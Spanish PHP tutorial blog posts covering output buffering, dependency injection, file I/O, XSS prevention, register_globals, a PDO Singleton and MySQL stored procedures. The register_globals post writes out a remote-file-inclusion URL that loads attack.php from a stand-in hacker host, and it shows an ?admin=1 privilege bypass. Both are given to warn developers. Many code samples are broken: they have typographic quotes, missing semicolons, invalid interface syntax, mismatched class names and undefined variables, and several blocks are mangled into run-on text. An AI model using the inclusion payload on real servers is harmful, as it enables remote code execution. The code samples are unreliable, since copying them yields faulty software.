23 de abril de 2015

ob_start PHP

Al programar en PHP primero se realiza un procesamiento de la página que se muestra en el ordenador del usuario, luego se envía la petición al servidor y por último se envía al ordenador del usuario el resultado de procesar el código PHP.

Por regla general, a medida que va procesando la página, se envía el código HTML resultante al cliente, pero esta configuración se puede cambiar, incluso en tiempo de ejecución. PHP proporciona un buffer da la opción de almacenar la salida de información que se muestra al usuario a medida que se va generando de modo que no se envíe ningún dato al cliente hasta que se indique expresamente.

Este comportamiento es muy útil cuando se ocupan funciones como header() o setcookie() que deben ejecutarse antes de haber enviado ningún texto de la página al cliente. En caso contrario se producirá un error "Cannot modify header information - headers already sent by".

La función ob_start() sirve para indicarle a PHP que se ha de iniciar el buffering de la salida, es decir, que debe empezar a guardar la salida en un bufer interno, en vez de enviarla al cliente. De modo que, aunque se escriba código HTML con echo o directamente fuera del código PHP, no se enviará al navegador hasta que se ordene explícitamente o eventualmente, hasta que se acabe el procesamiento de todo el archivo PHP.

La función ob_end_flush() sirve para indicar a PHP que se desea realizar el volcado de todo el bufer en la salida, con lo que se enviará al cliente que ha solicitado la página.

La función ob_get_contents() entrega la información almacenada en el contenido del búfer de salida, o FALSE si el almacenamiento en el búfer de salida no está activo. La función ob_end_clean() se utiliza para limpiar el buffer, de esta manera el buffer ya no tendrá ninguna información, antes de utilizarse debería haberse mostrado la información al usuario ya sea con ob_end_flush o con ob_get_contents() de lo contrario se habrá perdido y no sera posible mostrarla.

Presento un ejemplo muy básico pero para lo que representan las funciones ob_ se puede considerar completo, recuerda que un código debidamente ordenado es la mejor opción, para mayor referencia dejo este link con las funciones de control de salida: http://php.net/manual/es/ref.outcontrol.php
<?php
    
    // imprime resultado al utilizer ob_end_flush()
    ob_start();
    print "Hola primer ejemplo\n";
    ob_end_flush();

    // No imprime pues utiliza ob_end_clean directamente
    ob_start();
    print "Hola Segundo ejemplo\n";
    ob_end_clean();

    // imprime Hola pabletoreto al utilizer ob_get_contents() y echo
    ob_start();
    echo “Hola pabletoreto”
    $contenido = ob_get_contents();
    Echo “contenido del buffer” .$contenido
    ob_end_clean();
    
    // imprime porque llega al fin del script
    ob_start();
    print "Hola fin de script!\n";

?>

22 de abril de 2015

Patrón Dependency Injection

Robert C. Martin afirma en el Principio de Inyección de Dependencias: A. Las clases de alto nivel no deberían depender de las clases de bajo nivel. Ambas deberían depender de las abstracciones. B. Las abstracciones no deberían depender de los detalles. Los detalles deberían depender de las abstracciones. Con lo anterior en mente empecemos con un ejemplo de código que muestra una manera de pensar y programar al momento de utilizar dos clases que tienen algo en común y que se necesitan mutuamente para lograr resultados. Lo curioso de este ejemplo es que este código te será familiar a primera vista y esta lógica de programación es aprobada por muchos profesores de universidades e incluso aceptado por muchos profesionales del área de informática, supongamos tenemos dos clases: clase A y clase B, estas dos clases deben trabajar juntas
<?php
class A {
    public function doSomething(){
    echo “se supone que hago algo”;
             }
}

class B {
    private $a;
    public function __construct(){
        $this->a = new A();
        $this->a->doSomething();
    }
}
?>
Si tenemos en cuenta los cinco principios básicos de la programación orientada a objetos que introdujo Robert C Martin , también conocidos con el acrónimo SOLID, veremos que nuestro código vulnera varios de ellos. En concreto el principio “Open/Close” y el principio de Principio de Inversión de Dependencia (Dependency inversion principle), te explico: Tenemos una simple clase genérica B, que depende de un objeto A para funcionar. Como se puede ver en el ejemplo pareciera no haber problema alguno, pero si los hay, sobretodo derivados por el acoplamiento alto/estrecho (tight coupling), esto hace que nuestro código no sea muy flexible y que el proyecto inevitablemente se torne poco mantenible ya que la clase B está estrechamente acoplada con la clase A, de manera que no podríamos cambiar la clase A, por C, o D sin tener que modificar el código de la clase B. Si por ejemplo comenzamos a agregar nuevos parámetros en la clase A, tendríamos que modificar cada nueva clase en la que el objeto A sea creado, un proceso tedioso en grandes aplicaciones. La clase A se declara implícitamente, no es posible saber que existe ese objeto sin inspeccionar el código de la clase B. El principio “Open/Close” nos dice que las entidades de software deben estar abiertas para su extensión y cerradas para su modificación, lo anterior no se cumple en nuestro ejemplo ya que las propiedades de la clase A no deberían estar dentro del scope (Alcance) de la clase B, un objeto se comunica a través de otro mediante mensajes, lo que hace cada objeto internamente no tiene por que importarle al otro. Debido al hecho de estar instanciando la clase A dentro del constructor de la clase B, el hacer test unitarios (Unir testing) en la clase B crearía el comportamiento no deseado de tener que probar la clase A también. El principio de Principio de Inversión de Dependencia que nos dice que la dependencia de nuestras clases debe ser de abstracciones, no de concreciones. Es decir, nuestras clases deben depender de interfaces y no de clases concretas. La inyección de dependencias aliviana el hecho de tener que inyectar las dependencias en el constructor de la clase dependiente, la declaración de la clase sería explícita. Analicemos el siguiente código:
<?php
interface A(){
    public function doSomething();
}

//Clase B dependiende de la interfaz A
class B implements A {
    private $foo;
    function __construct($foo){
        $this->foo = $foo;
    }
    public function doSomething(){
        return "Something";
    }
}

//Clase C también dependiende de la interfaz A
class C implements A {
    public function doSomething(){
    return "Something";
    }
}

class D {
    private $a;
    public function __construct(A $a){
    $this->a = $a;
    $this->a->doSomething();
    }
}

//Inyectamos las dependencias en el constructor.
$instanceOne = new D(new B());
$instanceTwo = new D(new C("foo text"));
?>
Como se ve en este ejemplo, estamos inyectando la dependencia desde afuera, estamos pasando en el constructor de la clase todos el objeto que la clase dependiente necesita para funcionar, esto nos brinda la posibilidad de sustituir las dependencias de manera más sencilla, y lograr que el código sea más mantenible y modular. Se observa también que la clase D actua como Factory de clases, esta clase entrega la instancia dependiendo del parámetro que reciba, pero que pasa si no recibe ningún parámetro? Podemos especificar que cree una instancia especifica tal como se muestra:
<?php
class D {
    private $a;
    public function __construct(A $a = NULL){
    {
        $this->a = is_null($a) ? new B : $a;
       $this->a->doSomething();
     }
    }
 ?>
Nótese que se utiliza el typehint “A” para forzar que la clase dependiente implemente un objeto del tipo A, ahora el objeto podría reemplazarse sencillamente siempre y cuando siga la condición de ser un objeto “A” o utilice la interfaz “A”:
<?php
public function __construct(A $a){
    $this->a = $a;
    $this->a->doSomething();
}
?>
En este caso estamos pasando la dependencia en el constructor de la clase, esto bien podría haberse hecho con setters y getters de esta manera:
<?php
class A {
    private $b;
    public function setB(B $b){
        $this->b = $b;
    }
    public function getB(){
        return $this->b->doSomething();
    }
}
?>
La injeccion de dependencias también puede realizarse por métodos setter tal como muestro en este ejemplo
<?php
interface PersonInterface
{
    public function getClass();
}
 
class PersonA implements PersonInterface
{
    public function __construct($param)
    {
        if(!isset($param)) {
            die;
        }
    }
 
    public function getClass()
    {
        return __CLASS__;
    }

class Human
{
    protected $Person;
 
    public function __construct() {}
 
    public function setPerson(PersonInterface $PersonObject)
    {
        $this->Person = $PersonObject;
    }
 
    public function getPerson()
    {
        return $this->Person;
    }
}}
 
$PersonA = new PersonA('Param for PersonA object');
$Human = new Human;
$Human->setPerson($PersonA);
 
echo $Human->getPerson()->getClass();
?>
Por último se presenta un ejemplo mas particular el cual ilustra las opciones que se tienen al enviar un correo electrónico
<?php
interface mailSystem {

	public function sendMail();
}

class GmailMailSystem  implements mailSystem {
	
	public function sendMail() {
		echo "You have sent an email! using " . get_class($this) . "\n";			
	}
}

class BasicMailSystem  implements mailSystem {
	
	public function sendMail() {
		echo "You have sent an email! using " . get_class($this) . "\n";			
	}
}

class myClass {
	private $mailer;
	public function __construct($mailSystem) {
		$this->mailer = $mailSystem;
	}

	public function myMethod() {
		$this->mailer->sendMail();
	} 
}


$myGmailMailSystem = new GmailMailSystem();
$myBasidMailSystem = new BasicMailSystem();

$myClassIntance = new myClass($myGmailMailSystem);
$myOtherClassIntance = new myClass($myBasidMailSystem);

$myClassIntance->myMethod();
$myOtherClassIntance->myMethod();
?>

file_get_contents() y file_put_contents() en PHP

file_get_contents() se utiliza para obtener archivos desde PHP y es equivalente a usar fopen(), fgets() y fclose() por lo que es la manera abreviada y preferida de transmitir el contenido de un fichero a una cadena. Usa técnicas de mapeado de memoria, si está soportado por su sistema operativo, para mejorar el rendimiento. Esta función es similar a file(), excepto que file_get_contents() devuelve el fichero a un string, comenzando por el offset especificado hasta maxlen bytes. Si falla, file_get_contents() devolverá FALSE. Parametros de file_get_contents() filename Nombre del fichero a leer. use_include_path A partir de PHP 5, se puede usar la constante FILE_USE_INCLUDE_PATH para lanzar la búsqueda en include_path. context Un recurso de contexto válido creado con stream_context_create(). Si no se necesita usar un contexto a medida, se puede saltar este parámetro usando NULL. offset El índice donde comienza la lectura en el flujo original. La búsqueda de (offset) no está soportada con ficheros remotos. Intentar buscar un fichero no local puede funcionar con índices pequeños, pero es impredecible debido a que trabaja sobre el flujo almacenado en buffer. maxlen La longitud máxima de los datos leídos. De manera predeterminada se lee hasta que se alcance el final del fichero. Observe que este parámetro se aplica al flujo procesado por los filtros. file_put_contents() se utiliza para escribir en un archivo desde PHP y es equivalente a usar fopen(), fwrite() y fclose(). file_put_contents — Escribe una cadena a un fichero Si filename no existe, se crea el fichero. De otro modo, el fichero existente se sobrescribe, a menos que la bandera FILE_APPEND esté establecida. Ejemplo con file_get_contents y file_put_contents
<?php
$fichero = 'gente.txt';
// Abre el fichero para obtener el contenido existente
$actual = file_get_contents($fichero);
//$actual =  file_get_contents("$directorio".'/'."$elemento")
// Añade una nueva persona al fichero
$actual .= "John Smith\n";
// Escribe el contenido al fichero
file_put_contents($fichero, $actual);
?>
Ejemplo con file_put_contents
<?php
$fichero = 'gente.txt';
// La nueva persona a añadir al fichero
$persona = "John Smith\n";
// Escribir los contenidos en el fichero,
// usando la bandera FILE_APPEND para añadir el contenido al final del fichero
// y la bandera LOCK_EX para evitar que cualquiera escriba en el fichero al mismo tiempo
file_put_contents($fichero, $persona, FILE_APPEND | LOCK_EX);
?>
a continuación maestro un ejemplo sencillo para guardar la fecha, hora y especificación de un error dentro de un archive txt
<?php
$filename = "C:/Users/pabletoreto/Videos/Desktop/prueba.txt";
if(file_exists($filename)) {
$filestring = file_get_contents($filename, NULL, NULL);
//$filestring = file_get_contents('./hola.txt', NULL, NULL,6,12);
// print $filestring;
	echo "
"; $convert = explode("\n", $filestring); //crea array separado por nueva linea for ($i=0;$i"; } $filestring.= "\r\n"; $filestring.= "Log fecha ". date("Y/m/d")."\r\n"; $filestring.="Hora del incidente ". date("G:i:s"). "\r\n"; $filestring.= "agregando linea con error especificado"."\r\n"; file_put_contents($filename, $filestring); echo "
"; /* Otra manera: $persona = "pabletoreto\n"; file_put_contents($filename, $persona, FILE_APPEND | LOCK_EX); Escribir los contenidos en el fichero, usando la bandera FILE_APPEND para añadir el contenido al final del fichero y la bandera LOCK_EX para evitar que cualquiera escriba en el fichero al mismo tiempo*/ } else{ die("Archivo especificado no existe"); } ?>

20 de abril de 2015

XSS (Cross-site scripting) PHP

Seguridad PHP - Cross Site Scripting (XSS) Es una vulnerabilidad que aprovecha la falta de mecanismos de filtrado y validación en los campos de entrada. Permitiendo así el envío de scripts completos (como Visual Basic Scripts o JavaScripts) con secuencias de comandos maliciosos que podrían impactar directamente en el sitio web o en el equipo de un usuario. Este código malicioso intenta aprovecharse de la confianza de un usuario en un sitio web, para engañarlo en la realización de alguna acción o forzarlo a enviar algún tipo de información a otro sitio que no es de confianza. Un ataque XSS consiste en enviar un script malicioso con secuencias de comandos maliciosos que podrían impactar directamente en el sitio web o en el equipo de un usuario. Este código malicioso intenta aprovecharse de la confianza de un usuario en un sitio web, para engañarlo en la realización de alguna acción o forzarlo a enviar algún tipo de información a otro sitio que no es de confianza. Los scripts se ocultan entre solicitudes legítimas como la recepción de datos de un formulario web con el propósito de que dicho código al ser ejecutado por un cliente confiado lleve a cabo una acción maliciosa. Por ejemplo, un atacante colocar un enlace en un foro que al ser pinchado revele la información de identificación del usuario y la envíe a una dirección. En general en los ataques XSS son usadas etiquetas como SCRIPT, OBJECT, APPLET, EMBED y FORM. Tipos de ataque - Directo o persistente. Este tipo de ataque que sucede cuando el código malicioso ha pasado el proceso de validación (si es que lo hay) y se almacena en la base de datos u otro medio (por ejemplo un fichero). Podría insertarse a través de un comentario, archivo de registro, mensaje de notificación, o cualquier otra sección en la página web que requiere la entrada del usuario. Más tarde, cuando esta información particular se presenta en el sitio web, el código malicioso es ejecutado. - Local. Es una de las variantes del XSS directo, uno de sus objetivos consiste en explotar las vulnerabilidades del mismo código fuente de la página web. Esas vulnerabilidades son resultado del uso indebido del DOM con JavaScript, lo cual permite abrir otra página web con código malicioso JavaScript incrustado. Afectando el código de la primera página en el sistema local. Cuando el ataque XSS es local, ningún código malicioso es enviado al servidor. El funcionamiento toma lugar completamente en la máquina del cliente, pero modifica la página proporcionada por el sitio web antes de que sea interpretada por el navegador para que se comporte como si fuera la de confianza. Esto significa que la protección del lado del servidor que filtra el código malicioso no funciona en este tipo de vulnerabilidad. Ya que la página suplantadora enviará la información a un servidor diferente del esperado por el cliente atacado. - Indirecto o reflejado. Este tipo de ataques se presenta, cuando el código maligno se inyecta a través de formularios, a través de los parámetros de una URL, programas en Flash, un enlace malicioso e incluso vídeos. Utilizado mayoritariamente para robo de sesiones o phishing. Protección XSS La protección debe darse tanto al momento de ingresar los datos como al momento de mostrarlos en el browser, no debe haber confusión al momento de pensar que utilizando prepared statements de PDO evitaremos ataques XSS pues estas sentencias preparadas están más orientadas a evitar SQL Injection, así pues, para ingresar datos desde un formulario(i.e.) hacia una base de datos(i.e.) podemos seguir estos pasos: Validar los datos que se reciben y “sanearlos” Como regla de oro debemos validar cualquier dato que vaya a ser ingresado a la base de datos, mucho más si esta información viene de parte del usuario ya que solo podemos permitir la entrada esperada. Y por supuesto no confiar únicamente en la posible validación en el lado cliente del sistema, para este fin se pueden utilizar expresiones regulares, Type Casting o bien FILTER_VAR en su opción FILTER_SANITIZE Prevenir XSS con strip_tags Lo primero para prevenir estos ataques es limpiar cualquier etiqueta html ingresada por el usuario, para ello podemos utilizar la función strip_tags, la cual elimina etiquetas html. Esto es una forma básica de prevenir un ataque XSS, pero existen versiones más elaboradas de códigos de ataque que pueden no ser limpiadas por esta función. Otro problema de esta solución es que limpia todas las etiquetas html, pero en algunas ocasiones existe la necesidad de permitir algunas etiquetas (Por ejemplo: p, strong, em) para lo cual necesitamos una solución más elaborada. Prevenir XSS con FILTER_VAR PHP nos presenta un conjunto de funciones que nos permitirán la validación y saneamiento de datos de una forma sencilla. La funcion filter_var (PHP >=5.2) nos permite filtrar una variable según el filtro especificado, a continuación un ejemplo que valida que el valor no este vacio, luego hace un filtrado de datos para por ultimo verificar que sea del tipo esperado, en caso de pasar las validaciones envía un correo con los datos suministrados, en caso de no pasar las validaciones muestra un mensaje de error
<?php
 $errors=””;
    if (isset($_POST['Submit'])) {
 
        if ($_POST['name'] != "") {
            $_POST['name'] = filter_var($_POST['name'], FILTER_SANITIZE_STRING);
            if ($_POST['name'] == "") {
                $errors .= 'Please enter a valid name.

'; } } else { $errors .= 'Please enter your name.
'; } if ($_POST['email'] != "") { $email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL); if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { $errors .= "$email is NOT a valid email address.

"; } } else { $errors .= 'Please enter your email address.
'; } if ($_POST['homepage'] != "") { $homepage = filter_var($_POST['homepage'], FILTER_SANITIZE_URL); if (!filter_var($homepage, FILTER_VALIDATE_URL)) { $errors .= "$homepage is NOT a valid URL.

"; } } else { $errors .= 'Please enter your home page.
'; } if ($_POST['message'] != "") { $_POST['message'] = filter_var($_POST['message'], FILTER_SANITIZE_STRING); if ($_POST['message'] == "") { $errors .= 'Please enter a message to send.
'; } } else { $errors .= 'Please enter a message to send.
'; } if (!$errors) { $mail_to = 'me@somewhere.com'; $subject = 'New Mail from Form Submission'; $message = 'From: ' . $_POST['name'] . "\n"; $message .= 'Email: ' . $_POST['email'] . "\n"; $message .= 'Homepage: ' . $_POST['homepage'] . "\n"; $message .= "Message:\n" . $_POST['message'] . "\n\n"; mail($to, $subject, $message); echo "Thank you for your email!

"; } else { echo '
' . $errors . '
'; } } ?>
Name:


Email Address:


Home Page:


Message:

Función para no permitir entidades HTML Es bastante simple pero al menos a mi me ha funcionado
<?php
function limpiar_tags($tags){
$tags = strip_tags($tags);
$tags = stripslashes($tags);
$tags = htmlentities($tags);
return $tags;
}
?>
Igualmente te dejo esta otra función que me ha funcionado
<?php
function SanitizeInputXSS($dirty_input) { 
      return htmlspecialchars(rawurldecode(trim($dirty_input)), ENT_QUOTES,'UTF-8'); 
 } 

$name = SanitizeInputXSS($_POST['name']);  
?>
O si quieres reemplazar los caracteres por tu cuenta, créate un array con los caracteres a reemplazar y los caracteres que serán reemplazados
<?php
function PreventXSS($String)
    {
        $Find = array('&', '<', '>', '/');
        $Replace = array('& ;', '< ;', '> ;', '/ ;');
        $NewString = str_replace($Find, $Replace, $String);
        
        return $NewString;
    }  
?>
Permitir entidades HTML Las validaciones anteriores sanean los datos de usuario de código HTML y es funcional para la mayoría de datos que provienen de un formulario, pero que pasa cuando por la lógica del negocio queremos ingresar las etiquetas HTML a la base de datos? Imagina que tenemos un editor de texto para comentarios y queremos almacenar texto en negrita. Tendremos que almacenar el texto junto con sus etiquetas HTML correspondiente. Pero si eliminamos todas las etiquetas HTML o PHP con strip_tags() o bien con FILTER_VAR esto no será posible. Prevenir XSS con PHP Input Filter PHP Input Filter, es una clase escrita en PHP que permite filtrar código malicioso ingresado en los formularios para prevenir ataques XSS de manera sencilla, tiene la cualidad de no limpiar determinadas etiquetas o atributos. Para utilizar esta clase, descargamos los archivos desde el web oficial e incluimos el archivo class.inputfilter.php al inicio de nuestro PHP. Luego se debe crear una instancia de la clase InputFilter, entonces podemos filtrar los datos con el método process de la siguiente forma:
<?php
require_once("class.inputfilter.php");
$ifilter = new InputFilter();
$nombre = $ifilter->process($_POST['nombre']);
?>
También se pueden filtrar todos los campos enviados por el formulario, por ejemplo si el formulario es enviado por el método POST, podríamos utilizar el siguiente código para filtrar todos los campos para luego utilizarlos sin problemas.
<?php
require_once("class.inputfilter.php");
$ifilter = new InputFilter();
$_POST = $ifilter->process($_POST);
?>
Permitir etiquetas con PHP Input Filter Para evitar que algunas etiquetas sean filtradas podemos pasarlas como un array como parámetro al momento de crear la instancia de la clase. Por ejemplo para permitir las etiquetas strong yem y tendríamos:
<?php
require_once("class.inputfilter.php");
$ifilter = new InputFilter(array('em', 'strong'));
$_POST = $ifilter->process($_POST);
?>
Permitir atributos con PHP Input Filter También existe la posibilidad de desear que algunos atributos sean permitidos en el ingreso de los datos por parte del usuario. Por ejemplo podríamos permitir que los visitantes puedan ingresar enlaces para lo cual tendríamos que permitir el atributo href que contiene la ruta de destino.
<?php
require_once("class.inputfilter.php");
$ifilter = new InputFilter(array('a'), array('href'));
$comentario = $ifilter->process($_POST['comentario']);
?>
Prevenir XSS con HTMLPurifier Esta librería es un gran aliado para la seguridad que nos permite analizar una entrada HTML, BBCode o Markdown y eliminar aquellas partes que contengan código malicioso. Además, nos asegura que el HTML de entrada cumple con el estándar declarado en el doctype. Instalarla es sencillo (Requiere PHP 5 y los test se han realizado para versiones >= 5.0.5) Utilizando Prepared Statements Por ultimo recuerda que si bien hemos trabajado en evitar ataques XSS aún queda pendiente el ataque bajo SQL Injection por lo que al ingresar a la base de datos lo recomendable es utilizar PDO con sus prepared statements o bien mysqli, asi pues, la lógica es: recibir los datos y validar que existe información, luego hacer un saneamiento de esos datos para su posterior validación. Mostrando información Generalmente la función htmlspecialchars() es suficiente para filtrar la salida de contenido que se muestre en el navegador. Si usamos algún tipo de codificación especial diferente a ISO-8859-1 o UTF-8, entonces usaremos la función htmlentities() para dicha tarea. Para mostrar la información al usuario siempre buscando prevenir XSS se puede utilizar esta función, siempre y cuando estés programando en una versión que aún no ha depreciado el uso de magic_quotes esto es, en versiones de PHP menor a la 5.3.0 ya que esta característica ha sido declarada OBSOLETA desde PHP 5.3.0 y ELIMINADA a partir de PHP 5.4.0.
<?php
function sanitize($html){
	if(get_magic_quotes_gpc()){
		$html = stripslashes($html);
	}
	$html = mb_convert_encoding($html, 'UTF-8', 'UTF-8');
	$html = htmlentities($html, ENT_QUOTES, 'UTF-8');
	return $html;
}
?>
Esta función puede servirte para versiones más recientes
<?php
function bbkoda($text) {
$text = htmlspecialchars($text, ENT_QUOTES,'UTF-8');  
// $text = htmlspecialchars($text, ENT_QUOTES);
$text = nl2br($text);

$hitta = array(
          "'\[b](.*?)\[/b]'is",
          "'\[i](.*?)\[/i]'is"
          );

$byt = array(
             "\\1",
             "\\1"
            );

$text = preg_replace($hitta, $byt, $text);

return $text;
}
?>
La bandera ENT_QUOTES indica que vamos a convertir a entidades HTML ambos tipos de comillas. Tanto las simples como las dobles. En cuanto al 'charset' de codificación vamos a elegir UTF-8 (por defecto en PHP 5.4). Ya que es contiene el conjunto de caracteres más completo y es el estándar para una aplicación multi-idioma. Por último, una aplicación que puede sernos de gran utilidad es XSSploit nos permitirá localizar las vulnerabilidades de nuestra web antes de publicarla y evitar muchos problemas en el futuro, la web esta en http://www.scrt.ch/en/attack/downloads/xssploit

register_globals() en PHP...porque no?

El primer paso antes de validar cualquier datos de entrada, es comprobar que la directiva register_globals este desactivada. Desde PHP 5.3 fue declarada obsoleta y a partir de la versión 5.4 fue eliminada. Pero hay que tener cuidado si se usa una versión de PHP anterior. Por lo que podemos usar la función phpinfo() para que nos diga si esta a activada o no. El tener activa esta directiva ocasiona problemas graves de seguridad. Cuando register_globals está definida a “On” dentro del php.ini, se permitiría que un usuario cualquiera pudiera inicializar una variable remotamente. Y esto es un peligro en combinación con de la naturaleza de PHP que no obliga a inicializar las variables. Vamos a ver como la no inicialización de variables, combinada con la directiva mencionada, puede provocar que una simple 'inclusión' sea un gran peligro de seguridad. En este ejemplo la no inicialización del parámetro utilizado para incluir archivos podría terminar en una ejecución arbitraria de archivos localizados local y remotamente. Este simple código podía ser inseguro si la directiva register_globals esta activada, ya que un atacante podría introducir la siguiente URL http://www.ejemplo.com/index.php?archivo=http://www.hacker.com/attack.php. Y de esta manera el archivo http://www.hacker.com/attack.php será incluido y ejecutado en el servidor. Otro ejemplo podría ser: isAdmin() ){ $admin = TRUE; } if ( $admin ) { } ?> Ahora pensemos en que pasaría si en URI introducimos ?admin=1 y tenemos la directiva register_globals activa. Pues sí, que nos podríamos identificar como admin. Por eso en las versiones actuales de PHP se elimino esta directiva, que en principio estaba pensada para ahorrar esfuerzo a los desarrolladores. Una solución y una buena practica de programación, tanto si esta la directiva register_globals o no, es inicializar las variables. En nuestro ejemplo tendríamos que inicializar $admin = false antes de la primera condición.

17 de abril de 2015

PHP PDO Singleton CRUD

Lo primero es crear la clase Singleton que implementara el patrón de diseño Singleton que servirá para asegurarnos de crear una instancia de clase única, estas características las utilizaremos para conectarnos a la base de datos.

Te recomiendo veas esta entrada en caso quieras conocer mas detalladamente este patrón y sus limitaciones.
<?php
class Singleton 
{ 
    // Ubicación: TuServidor/Clases/Singleton.php

    public $db;     
    private static $dns = "mysql:host=tuServidor;dbname=tuBasedeDatos"; 
    private static $user = "Usuario"; 
    private static $pass = "tuPassword";     
    private static $instance;

    public function __construct ()  
    {        
       $this->db = new PDO(self::$dns,self::$user,self::$pass);       
    } 

    public static function getInstance()
    { 
        if(!isset(self::$instance)) 
        { 
            $object= __CLASS__; 
            self::$instance=new $object; 
        } 
        return self::$instance; 
    }    
} 
?>
Creamos un nuevo archivo php y especificamos la clase Implementacion, esta se encargara de realizar operaciones sobre una tabla especifica, para ello realiza la conexión sobre la base de datos utilizando el patrón Singleton implementado en la clase Singleton.php

<?php
require_once "Singleton.php"; 
class Implementacion  
{
    // Ubicación: TuServidor/Clases/Implementacion.php

 public function validar($codigo) 
    { 
        $cc = Singleton::getInstance(); 
        $sql = "SELECT count(*) FROM products WHERE categoryid=:codigo ";        
        $result = $cc->db->prepare($sql); 
        $params = array("codigo" => $codigo); 
        $result->execute($params); 
        $affected_rows = $result->fetchColumn(); 
        return ($affected_rows); 
        //retorna numerico 
    } 

 public function Datos($codigo) 
    { 
        $cc = Singleton::getInstance(); 
        $sql="SELECT * from products where categoryid=:codigo"; 
        $result = $cc->db->prepare($sql);     
        $params = array("codigo" => $codigo); 
        $result->execute($params); 
        return ($result); 
        //retorna conjunto de datos 
    } 

 public function NuevoCategoria($nombre,$descripcion) 
    {         
        $cc = Singleton::getInstance(); 
        $sql = "Insert into categories(nombre,descripcion)"; 
        $sql .= " values( "; 
        $sql .=" :nombre,:description)"; 
        $result = $cc->db->prepare($sql); 
        $params = array("nombre" =>$nombre, "descripcion" => $descripcion); 
        $result->execute($params);     
    } 

} 
?>
Ahora desde un archivo PHP comun y corriente hacemos uso de las clases definidas anteriormente aprovechando la programación orientada a objetos, te recomiendo adecuar las validaciones necesarias.

<?php
  // Ubicacion:TuServidor 
require_once("Clases/Implementacion.php");   

        $aproducts = new Cproducts;     
        $affected_rows=$aproducts->validar($codigo); 

       $result=$aproducts->Datos($codigo); 
       foreach($result as $row)  
       { 
               echo($row['productname']); 
       } 
?>

15 de abril de 2015

PHP PDO y Procedimientos Almacenados MySQL

Se trataran diferentes escenarios y en toda la entrada se trabajara la sentencia SELECT en un procedimiento almacenado en MySQL que variara según el numero y el tipo de parámetros que acepte o que entregara. La tabla a utilizarse tiene por nombre empleado_php la cual tiene solamente dos campos varchar: ID(PK 8) y Nombre(50).

  • Procedimiento Almacenado sin Parámetros
Este procedimiento solamente recupera con las sentencia select * from empleado_php todos los registros de la tabla, no aplica ningún filtro ni recibe o entrega ningún tipo de parámetros
DELIMITER $$
USE `ejemplo`$$
DROP PROCEDURE IF EXISTS `select_sp`$$

CREATE DEFINER=`root`@`localhost`
PROCEDURE `select_sp`()
BEGIN
    SELECT * FROM empleado_php;

END$$
DELIMITER ;
Ahora el codigo php que se utilizara para invocar el procedimiento almacenado y en este mismo se mostraran los datos que devuelve el procedimiento almacenado.
<?php
     
  $host="localhost";
  $dbname="ejemplo";
  $username="root";
  $password="";
     
  try {
   $conn = new PDO("mysql:host=$host;dbname=$dbname",
                            $username, $password);
   $sql = 'CALL select_sp()';
   $q = $conn->query($sql);
   $q->setFetchMode(PDO::FETCH_ASSOC); }
  catch (PDOException $pe) {
   die("Error occurred:" . $pe->getMessage());
        }
        
  while ($r = $q->fetch()):      
     echo "ID del empleado:  "  .$r['ID'];
     echo "Nombre:  ".  $r['Nombre']; 
     endwhile;
?>

  • Procedimiento Almacenado con Parámetro IN
Este procedimiento almacenado recupera el registro de un empleado de acuerdo a su ID que funcionara como criterio de busqueda, este ID es recibido en el procedimiento almacenado como parametro de entrada
DELIMITER $$
USE `ejemplo`$$
DROP PROCEDURE IF EXISTS `selectOne_sp`$$

CREATE DEFINER=`root`@`localhost` PROCEDURE `selectOne_sp`(
IN id_val VARCHAR(8)
)
BEGIN
    SELECT * FROM empleado_php WHERE ID=id_val;

END$$
DELIMITER ;
Ahora el código php que se utilizara para invocar el procedimiento almacenado, desde este código se envía el parámetro que servirá como criterio de búsqueda y en este mismo se mostraran los datos que devuelve el procedimiento almacenado.
<?php
     $host="localhost";
     $dbname="ejemplo";
     $username="root";
     $password="";
     $idEmpleado = "PHP001";
        
 try {
   $conn = new PDO("mysql:host=$host;dbname=$dbname",
                            $username, $password);

   $sql = 'CALL selectOne_sp(:id)';
   $stmt = $conn->prepare($sql);
   $stmt->bindParam(':id', $idEmpleado, PDO::PARAM_STR, 100);
   $stmt->execute();
   $stmt->setFetchMode(PDO::FETCH_ASSOC);
   $stmt->setFetchMode(PDO::FETCH_ASSOC);
   $num= $stmt->rowCount();
   //while ($r = $stmt->fetch(PDO::FETCH_ASSOC)): 
          
   if($num>0){
    while ($r = $stmt->fetch()):      
     echo "ID del empleado:  "  .$r['ID'];
     echo "Nombre:  ".  $r['Nombre']; 
     //echo '$' . number_format($r['creditlimit'],2) 
       endwhile; }
   else{
  echo "No se encontraron registros con el ID " .$idEmpleado;
       }
 }
 
catch (PDOException $pe) {
            die("Error occurred:" . $pe->getMessage());
        }
?>

  • Procedimiento Almacenado con Parámetro OUT
Este procedimiento almacenado no recibe ningún parámetro de entrada y controla un parámetro de salida que entrega el numero total de registros de la tabla empleado_php
DELIMITER $$
USE `ejemplo`$$
DROP PROCEDURE IF EXISTS `selectCount_sp`$$

CREATE DEFINER=`root`@`localhost`
PROCEDURE `selectCount_sp`(
OUT totalEmpleados INT
)
BEGIN  
      SELECT COUNT(Nombre) INTO totalEmpleados FROM empleado_php;

END$$
DELIMITER ;
Ahora el código php que se utilizara para invocar el procedimiento almacenado, para llamadas a procedimientos almacenados que manejan parámetros de salida deben realizarse dos consultas con la conexión a la base de datos obtenida, en una consulta se hará el CALL al procedimiento almacenado y con la segunda consulta se logra recuperar los parámetros output del procedimiento.
<?php
  $host="localhost";
  $dbname="ejemplo";
  $username="root";
  $password="";
        $idEmpleado = "PHP001";
try {   
 $conn = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
 $sql = 'CALL selectCount_sp(@total)';
    $stmt = $conn->prepare($sql);
    $stmt->execute();
 
    $stmt->closeCursor(); //permite limpiar y ejecutar la segunda query
    
 // este codigo es para recuperar un valor
    $r = $conn->query('select @total'); 
 $total = $r->fetchColumn();
 echo $total;
 
 // este codigo serviria para recuperar mas de un valor output desde un SP.
    //$r = $conn->query('select @total')->fetch();
 //echo $r['@total'];
 
 }
catch (PDOException $pe) {
    die("Error occurred:" . $pe->getMessage());
}
?>

  • Procedimiento Almacenado con Parámetros OUT
Este procedimiento entregara mas de un parametro de salida
DELIMITER $$
USE `ejemplo`$$
DROP PROCEDURE IF EXISTS `selectOuts_sp`$$

CREATE DEFINER=`root`@`localhost`
PROCEDURE `selectOuts_sp`(
OUT totalEmpleados INT,
OUT avgEmpleados VARCHAR(100))

BEGIN  
      SELECT COUNT(Nombre) INTO totalEmpleados FROM empleado_php;
